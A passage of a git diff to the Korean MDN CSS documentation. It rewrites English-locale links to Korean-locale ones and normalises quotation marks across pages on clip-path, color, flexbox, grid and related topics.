+  …for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow's edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.
 
 - `<spread-radius>`
   - : 네 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 양수 값은 그림자가 더 커지고 확산하며, 음수 값은 그림자가 줄어듭니다. 기본값은 `0`(그림자와 요소 크기 동일)입니다.
diff --git a/files/ko/web/css/cascade/index.md b/files/ko/web/css/cascade/index.md
index 2425b9161bafa5..c59fd0b094374a 100644
--- a/files/ko/web/css/cascade/index.md
+++ b/files/ko/web/css/cascade/index.md
@@ -9,7 +9,7 @@ slug: Web/CSS/Cascade
 
 ## Which CSS entities participate in the cascade
 
-Only CSS declarations, that is property/value pairs, participate in the cascade. This means that [at-rules](/ko/docs/Web/CSS/At-rule) containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing _descriptors_, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the `@font-face` identified by its [`font-family`](/en-US/docs/Web/CSS/@font-face/font-family) descriptor. If several `@font-face` rules with the same descriptor are defined, only the most appropriate `@font-face`, as a whole, is considered.
+Only CSS declarations, that is property/value pairs, participate in the cascade. This means that [at-rules](/ko/docs/Web/CSS/At-rule) containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing _descriptors_, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the `@font-face` identified by its [`font-family`](/ko/docs/Web/CSS/@font-face/font-family) descriptor. If several `@font-face` rules with the same descriptor are defined, only the most appropriate `@font-face`, as a whole, is considered.
 
 While the declarations contained in most at-rules — such as those in {{cssxref("@media")}}, {{cssxref("@document")}}, or {{cssxref("@supports")}} — participate in the cascade, declarations contained in {{cssxref("@keyframes")}} don't. As with `@font-face`, only the at-rule as a whole is selected via the cascade algorithm.
 
diff --git a/files/ko/web/css/clear/index.md b/files/ko/web/css/clear/index.md
index b867af02e4fd87..614627165b1fe8 100644
--- a/files/ko/web/css/clear/index.md
+++ b/files/ko/web/css/clear/index.md
@@ -202,4 +202,4 @@ p {
 
 ## See also
 
-- [CSS basic box model](/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model)
+- [CSS basic box model](/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model)
diff --git a/files/ko/web/css/clip-path/index.md b/files/ko/web/css/clip-path/index.md
index 613ff013fb58eb..6cff0f2d784598 100644
--- a/files/ko/web/css/clip-path/index.md
+++ b/files/ko/web/css/clip-path/index.md
@@ -52,13 +52,13 @@ clip-path: unset;
 - `<geometry-box>`
   - : `<basic-shape>`와 함께 지정하면, `<basic-shape>`의 참조 박스를 정의합니다. 단독으로 지정한 경우, 값으로 주어진 상자와 그 상자의 모서리 형태({{cssxref("border-radius")}} 등)를 클리핑 패스로 적용합니다. 가능한 값은 다음과 같습니다.
 - `margin-box`
-  - : [바깥 여백 상자](/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#margin-box)를 참조로 사용합니다.
+  - : [바깥 여백 상자](/ko/docs/Web/CSS/CSS_Shapes/From_box_values#margin-box)를 참조로 사용합니다.
 - `border-box`
-  - : [테두리 상자](/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#border-box)를 참조로 사용합니다.
+  - : [테두리 상자](/ko/docs/Web/CSS/CSS_Shapes/From_box_values#border-box)를 참조로 사용합니다.
 - `padding-box`
-  - : [안쪽 여백 상자](/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#padding-box)를 참조로 사용합니다.
+  - : [안쪽 여백 상자](/ko/docs/Web/CSS/CSS_Shapes/From_box_values#padding-box)를 참조로 사용합니다.
 - `content-box`
-  - : [콘텐츠 상자](/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#content-box)를 참조로 사용합니다.
+  - : [콘텐츠 상자](/ko/docs/Web/CSS/CSS_Shapes/From_box_values#content-box)를 참조로 사용합니다.
 - `fill-box`
   - : 객체의 바운딩 상자를 참조로 사용합니다.
 - `stroke-box`
@@ -561,7 +561,7 @@ clipPathSelect.addEventListener("change", (evt) => {
 
 - [Shapes in clipping and masking – and how to use them](https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/)
 - CSS properties: {{cssxref("mask")}}, {{cssxref("filter")}}
-- [Applying SVG effects to HTML content](/en-US/docs/Web/SVG/Applying_SVG_effects_to_HTML_content)
+- [Applying SVG effects to HTML content](/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content)
 - SVG attributes:
 
   - {{SVGAttr("clip-path")}}
diff --git a/files/ko/web/css/css_colors/applying_color/index.md b/files/ko/web/css/css_colors/applying_color/index.md
index a5ecc5ab7cac3e..6beee0482cbc9a 100644
--- a/files/ko/web/css/css_colors/applying_color/index.md
+++ b/files/ko/web/css/css_colors/applying_color/index.md
@@ -32,7 +32,7 @@ original_slug: Web/HTML/Applying_color
 
   - : 글씨의 그림자 효과를 설정합니다. 여러 옵션 중에서 그림자 색을 정할 수 있습니다. (이후 다른 옵션에 따라 흐려지고 배경과 섞입니다)
 
-    See [Text drop shadows](/en-US/docs/Learn/CSS/Styling_text/Fundamentals#text_drop_shadows) to learn more.
+    See [Text drop shadows](/ko/docs/Learn/CSS/Styling_text/Fundamentals#text_drop_shadows) to learn more.
 
 - {{cssxref("text-decoration-color")}}
   - : 기본 설정에서 글씨 장식(밑줄, 윗줄, 취소선 등)은 `color` 속성의 값을 색으로 사용합니다. 그러나 `text-decoration-color` 속성을 지정하면 다른 색으로 바꿀 수 있습니다.
@@ -56,7 +56,7 @@ original_slug: Web/HTML/Applying_color
 
 ### 테두리
 
-모든 요소는 주위에 테두리를 가질 수 있습니다. 기본적인 테두리는 요소 콘텐츠의 모서리를 따라 그리는 선입니다. See [Box properties](/ko/docs/Learn/CSS/Introduction_to_CSS/Box_model#box_properties) to learn about the relationship between elements and their borders, and the article [Styling borders using CSS](/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) to learn more about applying styles to borders.
+모든 요소는 주위에 테두리를 가질 수 있습니다. 기본적인 테두리는 요소 콘텐츠의 모서리를 따라 그리는 선입니다. See [Box properties](/ko/docs/Learn/CSS/Introduction_to_CSS/Box_model#box_properties) to learn about the relationship between elements and their borders, and the article [Styling borders using CSS](/ko/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) to learn more about applying styles to borders.
 
 {{cssxref("border")}} 단축 속성을 사용하면 색은 물론 [너비](/ko/docs/Web/CSS/border-width)와 [스타일](/ko/docs/Web/CSS/border-style)(실선, 점선 등)같은 속성을 한 번에 설정할 수 있습니다.
 
@@ -210,7 +210,7 @@ th {
 
 ### HWB functional notation
 
-Much like the HSL functional notation above, the [hwb()](/en-US/docs/Web/CSS/color_value/hwb) function uses the same hue value. But instead of lightness and saturation you specify whiteness and blackness values in percentages. Values are **not** separated with a comma and an optional alpha value can be included (it must be preceded by a forward slash `/`).
+Much like the HSL functional notation above, the [hwb()](/ko/docs/Web/CSS/color_value/hwb) function uses the same hue value. But instead of lightness and saturation you specify whiteness and blackness values in percentages. Values are **not** separated with a comma and an optional alpha value can be included (it must be preceded by a forward slash `/`).
 
 Here are some examples of using HWB notation:
 
@@ -296,7 +296,7 @@ Our two colored boxes share a number of properties in common, so next we establi
 }
 ```
 
-In brief, `.box` establishes the size of each box, as well as the configuration of the font used within. We also take advantage of [CSS Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout) to easily center the contents of each box. We enable `flex` mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to `center`. Then we can create a class for each of the two boxes that defines the properties that differ between the two.
+In brief, `.box` establishes the size of each box, as well as the configuration of the font used within. We also take advantage of [CSS Flexbox](/ko/docs/Web/CSS/CSS_Flexible_Box_Layout) to easily center the contents of each box. We enable `flex` mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to `center`. Then we can create a class for each of the two boxes that defines the properties that differ between the two.
 
 ```css
 .boxLeft {
@@ -375,7 +375,7 @@ The CSS establishes a size for the box and some basic styling for appearances. T
 
 #### JavaScript
 
-The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the [`<input type="color">`](/en-US/docs/Web/HTML/Element/input/color) element.
+The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the [`<input type="color">`](/ko/docs/Web/HTML/Element/input/color) element.
 
 ```js
 const colorPicker = document.getElementById("colorPicker");
@@ -423,7 +423,7 @@ Once you have decided on your base color, there are plenty of online tools that
 
 A few examples (all free to use as of the time this list was last revised):
 
-- [MDN's color picker tool](/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool)
+- [MDN's color picker tool](/ko/docs/Web/CSS/CSS_Colors/Color_picker_tool)
 - [Paletton](https://paletton.com/)
 - [Adobe Color CC online color wheel](https://color.adobe.com/create/color-wheel)
 
@@ -502,6 +502,6 @@ With this set, the browser won't tamper with the appearance of the element, and
 
 ## See also
 
-- [Drawing graphics](/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics)
-- [Graphics on the web](/en-US/docs/Web/Guide/Graphics)
-- [MDN's color picker tool](/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool)
+- [Drawing graphics](/ko/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics)
+- [Graphics on the web](/ko/docs/Web/Guide/Graphics)
+- [MDN's color picker tool](/ko/docs/Web/CSS/CSS_Colors/Color_picker_tool)
diff --git a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.md b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.md
index 0397ef52ac9cdc..13c412ef7bcaf4 100644
--- a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.md
+++ b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.md
@@ -22,7 +22,7 @@ flexbox가 웹 개발자들의 관심 받게된 이유 중 하나는 웹 최초
 - {{cssxref("justify-content")}} — 주축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
 - {{cssxref("align-items")}} — 교차축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
 - {{cssxref("align-self")}} — 개별 flex 항목을 교차 축에 대해 정렬 하는 방식을 제어. flex 항목에 지정하는 속성.
-- {{cssxref("align-content")}} — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.
+- {{cssxref("align-content")}} — described in the spec as for "packing flex lines"; controls space between flex lines on the cross axis.
 
 또한, 이글에서 flexbox기반 정렬에서 margin 속성 값이 어떨게 쓰이는지 살펴볼 것입니다.
 
@@ -168,7 +168,7 @@ If you change flex-direction to one of the reverse values, then they will lay th
 
 ## Using auto margins for main axis alignment
 
-We don’t have a `justify-items` or `justify-self` property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.
+We don't have a `justify-items` or `justify-self` property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.
 
 A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a `justify-self` property, however consider the image below. I have three items on one side and two on the other. If I were able to use `justify-self` on item _d_, it would also change the alignment of item _e_ that follows, which may or may not be my intention.
 
diff --git a/files/ko/web/css/css_flow_layout/flow_layout_and_overflow/index.md b/files/ko/web/css/css_flow_layout/flow_layout_and_overflow/index.md
index e929071a00fd82..6671565834da30 100644
--- a/files/ko/web/css/css_flow_layout/flow_layout_and_overflow/index.md
+++ b/files/ko/web/css/css_flow_layout/flow_layout_and_overflow/index.md
@@ -32,13 +32,13 @@ original_slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로
 
 참고: [작업 초안 오버플로 수준 3](https://www.w3.org/TR/css-overflow-3/)을 보면 추가적인 속성 값으로 `overflow: clip`이 있다. 이것은 `overflow: hidden`와 같이 작용하지만, 프로그래밍 방식의 스크롤이 불용되어 스크롤 할 수 상자가 된다. 또한, 이것은 블록 서식 상황을 생성하지 못한다.
 
-오버플로 속성은 실제로는 [`overflow-x`](/en-US/docs/Web/CSS/overflow-x)와 [`overflow-y`](/en-US/docs/Web/CSS/overflow-y) 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 `overflow-x`를 수평 방향 값으로 두번째 경우에는 `overflow-y`를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 `overflow-y: scroll`만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.
+오버플로 속성은 실제로는 [`overflow-x`](/ko/docs/Web/CSS/overflow-x)와 [`overflow-y`](/ko/docs/Web/CSS/overflow-y) 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 `overflow-x`를 수평 방향 값으로 두번째 경우에는 `overflow-y`를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 `overflow-y: scroll`만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.
 
 {{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}
 
 ## 상대적 플로우 속성
 
-우리는 [쓰기 모드와 플로우 레이아웃](/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C) 안내서에서 `block-size`와 `inline-size`라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들[`overflow-block`](/en-US/docs/Web/CSS/@media/overflow-block)와 [`overflow-inline`](/en-US/docs/Web/CSS/@media/overflow-inline)도 포함되어 있다. 그것들은 `overflow-x`와 `overflow-y`에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.
+우리는 [쓰기 모드와 플로우 레이아웃](/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C) 안내서에서 `block-size`와 `inline-size`라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들[`overflow-block`](/ko/docs/Web/CSS/@media/overflow-block)와 [`overflow-inline`](/ko/docs/Web/CSS/@media/overflow-inline)도 포함되어 있다. 그것들은 `overflow-x`와 `overflow-y`에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.
 
 이들 속성은 현재 브라우저에 구현이 되어 있지 않으므로, 현 시점에는 물리적인 속성을 사용하고 쓰기 모드에 맞게 조정해야 한다.
 
diff --git a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.md b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.md
index cb5e9830d7cb81..d33c2df81ad929 100644
--- a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.md
+++ b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.md
@@ -19,7 +19,7 @@ slug: Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout
 
 ### 콘텐츠를 담기 위한 추가 트랙의 생성
 
-그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 “컨테이너에 들어갈 수 있는 만큼의 세로 열”을 추가하는 기능이 포함되었습니다.
+그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 "컨테이너에 들어갈 수 있는 만큼의 세로 열"을 추가하는 기능이 포함되었습니다.
 
 ### 정렬 제어
 
diff --git a/files/ko/web/css/css_grid_layout/grid_template_areas/index.md b/files/ko/web/css/css_grid_layout/grid_template_areas/index.md
index 82477872767e69..9bf962396d1bbf 100644
--- a/files/ko/web/css/css_grid_layout/grid_template_areas/index.md
+++ b/files/ko/web/css/css_grid_layout/grid_template_areas/index.md
@@ -312,7 +312,7 @@ slug: Web/CSS/CSS_grid_layout/Grid_template_areas
 
 온라인에서 찾을 수 있는 많은 그리드 예제들을 보면 주로 주요 페이지 레이아웃에만 그리드를 사용한다고 느끼실 수 있습니다만, 그리드는 큰 요소만큼이나 작은 요소에서도 유용하게 사용될 수 있습니다. 특히나 {{cssxref("grid-template-areas")}}를 쓰면 요소가 어떻게 보일지 코드를 보면 쉽게 이해할 수 있어서 아주 유용합니다.
 
-아주 간단한 예로 “미디어 오브젝트”를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.
+아주 간단한 예로 "미디어 오브젝트"를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.
 
 ![미디어 오브젝트 디자인의 한 예를 보여주는 그림](4_media_objects.png)
 
diff --git a/files/ko/web/css/css_grid_layout/index.md b/files/ko/web/css/css_grid_layout/index.md
index 4fee1efd2b4bb6..b8e30764e6e342 100644
--- a/files/ko/web/css/css_grid_layout/index.md
+++ b/files/ko/web/css/css_grid_layout/index.md
@@ -158,8 +158,8 @@ slug: Web/CSS/CSS_grid_layout
 - [CSS Grid Layout and Accessibility](/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility)
 - [CSS Grid Layout and Progressive Enhancement](/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement)
 - [Realizing common layouts using grids](/ko/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout)
-- [Subgrid](/en-US/docs/Web/CSS/CSS_Grid_Layout/Subgrid)
-- [Masonry layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Masonry_Layout) {{Experimental_Inline}}
+- [Subgrid](/ko/docs/Web/CSS/CSS_Grid_Layout/Subgrid)
+- [Masonry layout](/ko/docs/Web/CSS/CSS_Grid_Layout/Masonry_Layout) {{Experimental_Inline}}
 
 ## 명세서
 
@@ -168,15 +168,15 @@ slug: Web/CSS/CSS_grid_layout
 ## 같이 보기
 
 - Glossary terms:
-  - [Grid](/en-US/docs/Glossary/Grid)
-  - [Grid lines](/en-US/docs/Glossary/Grid_Lines)
-  - [Grid tracks](/en-US/docs/Glossary/Grid_Tracks)
-  - [Grid cell](/en-US/docs/Glossary/Grid_Cell)
-  - [Grid area](/en-US/docs/Glossary/Grid_Areas)
-  - [Gutters](/en-US/docs/Glossary/Gutters)
-  - [Grid axis](/en-US/docs/Glossary/Grid_Axis)
-  - [Grid row](/en-US/docs/Glossary/Grid_Rows)
-  - [Grid column](/en-US/docs/Glossary/Grid_Column)
+  - [Grid](/ko/docs/Glossary/Grid)
+  - [Grid lines](/ko/docs/Glossary/Grid_Lines)
+  - [Grid tracks](/ko/docs/Glossary/Grid_Tracks)
+  - [Grid cell](/ko/docs/Glossary/Grid_Cell)
+  - [Grid area](/ko/docs/Glossary/Grid_Areas)
+  - [Gutters](/ko/docs/Glossary/Gutters)
+  - [Grid axis](/ko/docs/Glossary/Grid_Axis)
+  - [Grid row](/ko/docs/Glossary/Grid_Rows)
+  - [Grid column](/ko/docs/Glossary/Grid_Column)
 - [Grid by Example](https://gridbyexample.com/) - A collection of usage examples and video tutorials
 - [CSS Grid Reference - Codrops](https://tympanus.net/codrops/css_reference/grid/)
 - [CSS Grid Inspector - Firefox DevTools](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/examine_grid_layouts/index.html)
diff --git a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout_with_other_layout_methods/index.md b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout_with_other_layout_methods/index.md
index ce028fb3bd95f4..a9343fbdeb8fd7 100644
--- a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout_with_other_layout_methods/index.md
+++ b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout_with_other_layout_methods/index.md
@@ -445,7 +445,7 @@ color: #d9480f;
 
 마지막으로 눈여겨볼 또 하나의 레이아웃 표준과 관련된 상호 작용으로 CSS 그리드 레이아웃과 `display: contents` 사이의 상호 작용이 있습니다. display 프로퍼티의`contents` 값은 [Display 표준 명세서](https://drafts.csswg.org/css-display/#box-generation)에 새로 정의된 것으로 다음과 같이 설명되어 있습니다:
 
-> “요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다.”
+> "요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다."
 
 만약에 아이템에 `display:` `contents`를 지정하면 보통 해당 요소가 만드는 박스는 사라지고, 자식 요소의 박스가 한 단계 상승한 것처럼 그 자리를 차지하게 됩니다. 이 얘기는 그리드 아이템의 자식 요소가 그리드 아이템이 될 수도 있다는 뜻입니다. 이상하게 들리시죠? 다음에 간단한 예를 들어보겠습니다. 아래 마크업에는 그리드가 있고, 이 그리드에 있는 첫 번째 아이템이 세 개의 열 트랙 모두를 가로지르도록 설정하였습니다. 또한, 이 아이템은 세 개의 중첩된 아이템들을 포함하고 있습니다. 이 아이템들은 컨테이너 바로 밑에 있는 자식 요소가 아니므로, 그리드 레이아웃의 일원으로 참여하지 않으면서 보통의 일반 블록 레이아웃으로 표시됩니다.
 
diff --git a/files/ko/web/css/css_selectors/index.md b/files/ko/web/css/css_selectors/index.md
index 1f25b1c330223a..2b80fe6b961e68 100644
--- a/files/ko/web/css/css_selectors/index.md
+++ b/files/ko/web/css/css_selectors/index.md
@@ -1,7 +1,8 @@
 ---
 title: CSS 선택자
-slug: Web/CSS/CSS_Selectors
+slug: Web/CSS/CSS_selectors
 ---
+
 {{CSSRef("Selectors")}}
 
 **CSS 선택자**는 CSS 규칙을 적용할 요소를 정의합니다.
diff --git a/files/ko/web/css/css_values_and_units/index.md b/files/ko/web/css/css_values_and_units/index.md
index 4f37c8b9e5a67c..5113d1bd7ec188 100644
--- a/files/ko/web/css/css_values_and_units/index.md
+++ b/files/ko/web/css/css_values_and_units/index.md
@@ -132,8 +132,8 @@ CSS는 치수를 사용해 아래와 같은 것들을 표시합니다:
 | `em`   | 해당 요소의 폰트 크기                                                                                   |
 | `ex`   | 해당 요소의 폰트의 x높이                                                                                |
 | `cap`  | 해당 요소의 폰트의 대문자 높이(대문자의 공칭 높이)                                                      |
-| `ch`   | 해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, “0” (ZERO, U+0030) 문자로 대표됨.              |
-| `ic`   | 해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, “水” (CJK 물 표의 문자, U+6C34) 문자로 대표됨. |
+| `ch`   | 해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, "0" (ZERO, U+0030) 문자로 대표됨.              |
+| `ic`   | 해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, "水" (CJK 물 표의 문자, U+6C34) 문자로 대표됨. |
 | `rem`  | 루트 요소의 폰트 크기                                                                                   |
 | `lh`   | 해당 요소의 줄 높이                                                                                     |
 | `rlh`  | 루트 요소의 줄 높이                                                                                     |
diff --git a/files/ko/web/css/font/index.md b/files/ko/web/css/font/index.md
index 0de48a8c1095bc..62c045a448aaae 100644
--- a/files/ko/web/css/font/index.md
+++ b/files/ko/web/css/font/index.md
@@ -305,4 +305,4 @@ setCss();
 
 - {{cssxref("font-style")}}
 - {{cssxref("font-weight")}}
-- [Fundamental text and font styling](/en-US/docs/Learn/CSS/Styling_text/Fundamentals)
+- [Fundamental text and font styling](/ko/docs/Learn/CSS/Styling_text/Fundamentals)
diff --git a/files/ko/web/css/grid-area/index.md b/files/ko/web/css/grid-area/index.md
index 3ac909c877e5ed..20b0b004e5f2f1 100644
--- a/files/ko/web/css/grid-area/index.md
+++ b/files/ko/web/css/grid-area/index.md
@@ -3,7 +3,7 @@ title: grid-area
 slug: Web/CSS/grid-area
 ---
 
-**`grid-area`** 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 [shorthand](/ko/docs/Web/CSS/Shorthand_properties) property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item’s size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.
+**`grid-area`** 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 [shorthand](/ko/docs/Web/CSS/Shorthand_properties) property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item's size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.
 
 {{EmbedInteractiveExample("pages/css/grid-area.html")}}
 
@@ -48,10 +48,10 @@ grid-area: unset;
 ### Values
 
 - `auto`
-  - : Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of `1`.
+  - : Is a keyword indicating that the property contributes nothing to the grid item's placement, indicating auto-placement or a default span of `1`.
 - `<custom-ident>`
 
-  - : If there is a named line with the name '`<custom-ident>-start`'/'`<custom-ident>-end`', it contributes the first such line to the grid item’s placement.
+  - : If there is a named line with the name '`<custom-ident>-start`'/'`<custom-ident>-end`', it contributes the first such line to the grid item's placement.
 
     > **참고:** Named grid areas automatically generate implicit named lines of this form, so specifying `grid-area: foo;` will choose the start/end edge of that named grid area (unless another line named `foo-start`/`foo-end` was explicitly specified before it).
 
@@ -59,7 +59,7 @@ grid-area: unset;
 
 - `<integer> && <custom-ident>?`
 
-  - : Contributes the n-th grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
+  - : Contributes the n-th grid line to the grid item's placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
 
     If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.
 
@@ -67,7 +67,7 @@ grid-area: unset;
 
 - `span && [ <integer> || <custom-ident> ]`
 
-  - : Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is _n_ lines from the opposite edge.
+  - : Contributes a grid span to the grid item's placement such that the corresponding edge of the grid item's grid area is _n_ lines from the opposite edge.
 
     If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.
 
diff --git a/files/ko/web/css/grid/index.md b/files/ko/web/css/grid/index.md
index 3307d3b525d776..1afc45215c1560 100644
--- a/files/ko/web/css/grid/index.md
+++ b/files/ko/web/css/grid/index.md
@@ -7,7 +7,7 @@ slug: Web/CSS/grid
 
 {{EmbedInteractiveExample("pages/css/grid.html")}}
 
-> **참고:** You can only specify the explicit _or_ the implicit grid properties in a single `grid` declaration. The sub-properties you don’t specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.
+> **참고:** You can only specify the explicit _or_ the implicit grid properties in a single `grid` declaration. The sub-properties you don't specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.
 
 ## Syntax
 
diff --git a/files/ko/web/css/image-rendering/index.md b/files/ko/web/css/image-rendering/index.md
index cc9383162a4a13..2365035bba0042 100644
--- a/files/ko/web/css/image-rendering/index.md
+++ b/files/ko/web/css/image-rendering/index.md
@@ -69,7 +69,7 @@ div {
 
 ### Live Examples
 
-#### image-rendering: auto;
+#### image-rendering: auto
 
 78% ![squares.gif](squares.gif) 100% ![squares.gif](squares.gif) 138% ![squares.gif](squares.gif) downsized ![hut.jpg](hut.jpg) upsized ![blumen.jpg](blumen.jpg)
 
diff --git a/files/ko/web/css/revert/index.md b/files/ko/web/css/revert/index.md
index 4a5b4d09d7f7b6..b388e8ef11be0b 100644
--- a/files/ko/web/css/revert/index.md
+++ b/files/ko/web/css/revert/index.md
@@ -11,7 +11,7 @@ slug: Web/CSS/revert
